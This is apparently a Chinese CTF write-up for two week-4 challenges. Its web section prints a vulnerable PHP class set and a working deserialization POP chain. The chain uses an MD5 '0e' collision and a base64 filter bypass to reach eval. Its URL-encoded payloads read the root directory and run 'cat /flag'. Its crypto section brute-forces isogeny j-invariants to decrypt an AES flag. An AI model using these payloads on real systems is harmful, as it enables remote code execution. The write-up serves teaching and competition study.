?CTF2025 week4部分WP

debu8ger Lv3

WEB

[Week4] Path to Hero


题目描述:初出茅庐的勇者啊,你能战胜魔王,得到至宝吗?


打开靶机,观察前端显示:

<?php
highlight_file('index.php');

Class Start
{
public $ishero;
public $adventure;


public function __wakeup(){

if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
echo "<br>勇者啊,去寻找利刃吧<br>";

return $this->adventure->sword;
}
else{
echo "前方的区域以后再来探索吧!<br>";
}
}
}

class Sword //MD5弱类型比较
{
public $test1;
public $test2;
public $go;

public function __get($name)
{
if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
echo $this->go;
} else {
echo "Dead";
}
}
}

class Mon3tr
{
private $result;
public $end;

public function __toString()
{
$result = new Treasure();
echo "到此为止了!魔王<br>";

if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
$result->end($this->end);
} else {
echo "难道……要输了吗?<br>";
}
return "<br>";
}
}

class Treasure
{
public function __call($name, $arg)
{
echo "结束了?<br>";
eval($arg[0]);
}
}

if (isset($_POST["HERO"])) {
unserialize($_POST["HERO"]);
}

看到关键词unserialize以及魔术方法_wakeup()、_toString()得知,考察PHP的ROP链反序列化,

第一个类Start,我们让$adventrue为一个Sword对象;

第二个类Sword是典型的MD5弱类型比较(==比较哈希值),我们只需让$a = 240610708 & $b = QNKCDZO,MD5的值因为都以0e开头,被科学计数法处理为0,相等;

第三个类Mon3tr考察黑名单绕过(正则过滤の绕过),可以使用base64编码绕过;

第四个类Treasure则考察RCE,任意代码执行。

构造payload:

<?php

class Start
{
public $ishero;
public $adventure;
}

class Sword
{
public $test1;
public $test2;
public $go;
}

class Mon3tr
{
public $end;
}

class Treasure
{
public function __call($name, $arg)
{
eval($arg[0]);
}
}

$mon3tr = new Mon3tr();
$mon3tr->end = "print_r(scandir('/'));";
$sword = new Sword();
$sword->test1 = "240610708";
$sword->test2 = "QNKCDZO";
$sword->go = $mon3tr;
$start = new Start();
$start->ishero = "herox";
$start->adventure = $sword;

echo urlencode(serialize($start));
?>

得到:O%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A5%3A%22herox%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A9%3A%22240610708%22%3Bs%3A5%3A%22test2%22%3Bs%3A7%3A%22QNKCDZO%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A22%3A%22print_r%28scandir%28%27%2F%27%29%29%3B%22%3B%7D%7D%7D

先调用类似ls /命令查看文件夹,得到:

week4_1

然后再用eval()函数,再base64编码,改$mon3tr->end = "print_r(scandir('/'));";$mon3tr->end = "eval(base64_decode('cGFzc3RocnUoJ2NhdCAvZmxhZycpOw=='));";,执行php代码,得到:O%3A5%3A%22Start%22%3A2%3A%7Bs%3A6%3A%22ishero%22%3Bs%3A5%3A%22herox%22%3Bs%3A9%3A%22adventure%22%3BO%3A5%3A%22Sword%22%3A3%3A%7Bs%3A5%3A%22test1%22%3Bs%3A9%3A%22240610708%22%3Bs%3A5%3A%22test2%22%3Bs%3A7%3A%22QNKCDZO%22%3Bs%3A2%3A%22go%22%3BO%3A6%3A%22Mon3tr%22%3A1%3A%7Bs%3A3%3A%22end%22%3Bs%3A56%3A%22eval%28base64_decode%28%27cGFzc3RocnUoJ2NhdCAvZmxhZycpOw%3D%3D%27%29%29%3B%22%3B%7D%7D%7D

POST请求,最终得到flag:flag{e24449c0-752e-42fe-8e9a-cff80fe7e221}

Crypto

[Week4] Myneighbors


题目描述:我是我的邻居?https://eprint.iacr.org/2019/1321.pdf


题目代码为sagemath格式的:

from secret import magical_num, flag
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib

p = 431
F.<i> = GF(p^2, modulus = x^2 + 1)
E = EllipticCurve(j=F(magical_num))
assert E.is_supersingular()

P = E(0).division_points(2)[1:]
neighbors = []
for idx in range(len((P))):
phi = E.isogeny(P[idx])
EE = phi.codomain()
neighbors.append(EE.j_invariant())

assert E.j_invariant() in neighbors

P = E(0).division_points(3)[1:]
shuffle(P)

phi = E.isogeny(P[0])
E = phi.codomain()
H = hashlib.md5(str(E.j_invariant()).encode()).hexdigest().encode()
key, iv = H[:16], H[16:]

aes = AES.new(key, AES.MODE_CBC, iv)
cipher = aes.encrypt(pad(flag, 16))
print(f'cipher: {cipher.hex()}')
#cipher: 49e90a91357fef12c54234b3cb553bb2fdd61f2af8c7e78b3d5ffdeac7022af0

可以看到assert E.j_invariant() in neighbors,E的j-invariant在自己的2-isogeny邻居中,

同时,从题目给的文献里得知:

  1. 2-isogeny图中,每个j-invariant通常有3个邻居;
  2. 特殊的j-invariant包括p=431时,j 属于{0, 2, 242}j=0&&j=242时,在图中有自环

因此,我们的攻击思路为:

  1. magical_num必须是有自环的;
  2. 尝试j 属于{0, 242};
  3. 枚举所有可能的3-isogeny目标曲线;
  4. p=431,每个曲线则有4个3-isogeny邻居。

综上,EXP为:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

p = 431
F.<i> = GF(p^2, modulus = x^2 + 1)

cipher_hex = '49e90a91357fef12c54234b3cb553bb2fdd61f2af8c7e78b3d5ffdeac7022af0'
cipher = bytes.fromhex(cipher_hex)
candidates = [F(0), F(4), F(242)]

for magical_num in candidates:
try:
E = EllipticCurve(j=magical_num)

if not E.is_supersingular():
continue

P = E(0).division_points(2)[1:]
neighbors = []
for idx in range(len(P)):
phi = E.isogeny(P[idx])
EE = phi.codomain()
neighbors.append(EE.j_invariant())

if E.j_invariant() not in neighbors:
continue

print(f"Found magical_num: {magical_num}")

P3 = E(0).division_points(3)[1:]
for P_point in P3:
try:
phi = E.isogeny(P_point)
E_new = phi.codomain()
j_inv = E_new.j_invariant()
H = hashlib.md5(str(j_inv).encode()).hexdigest().encode()
key, iv = H[:16], H[16:]
aes = AES.new(key, AES.MODE_CBC, iv)
try:
plaintext = unpad(aes.decrypt(cipher), 16)
if b'flag{' in plaintext or b'FLAG{' in plaintext:
print(f"Success with j-invariant: {j_inv}")
print(f"Flag: {plaintext.decode()}")
exit()
except:
pass
except:
pass

except Exception as e:
continue

print("Flag not found - trying all j-invariants from the paper...")
all_j_invariants = [
F(0), F(4), F(316), F(107), F(419), F(234), F(102), F(241), F(143),
F(358), F(125), F(19), F(242), F(61), F(381), F(319), F(356), F(150),
F(422), F(67), F(189),
F(81*i + 65), F(67*i + 304), F(350*i + 65), F(132*i + 315), F(125*i + 426),
F(306*i + 426), F(299*i + 315), F(325*i + 379), F(222*i + 118), F(106*i + 379),
F(42*i + 141), F(209*i + 118), F(389*i + 141), F(364*i + 304), F(344*i + 190),
F(87*i + 190)
]

for j_inv in all_j_invariants:
H = hashlib.md5(str(j_inv).encode()).hexdigest().encode()
key, iv = H[:16], H[16:]
aes = AES.new(key, AES.MODE_CBC, iv)
try:
plaintext = unpad(aes.decrypt(cipher), 16)
if b'flag{' in plaintext or b'FLAG{' in plaintext or plaintext.startswith(b'flag') or plaintext.isascii():
print(f"Found with j-invariant: {j_inv}")
print(f"Flag: {plaintext.decode()}")
break
except:
pass

#flag:flag{I_@m_4_n31gh80r_0f_my53lf}
Comments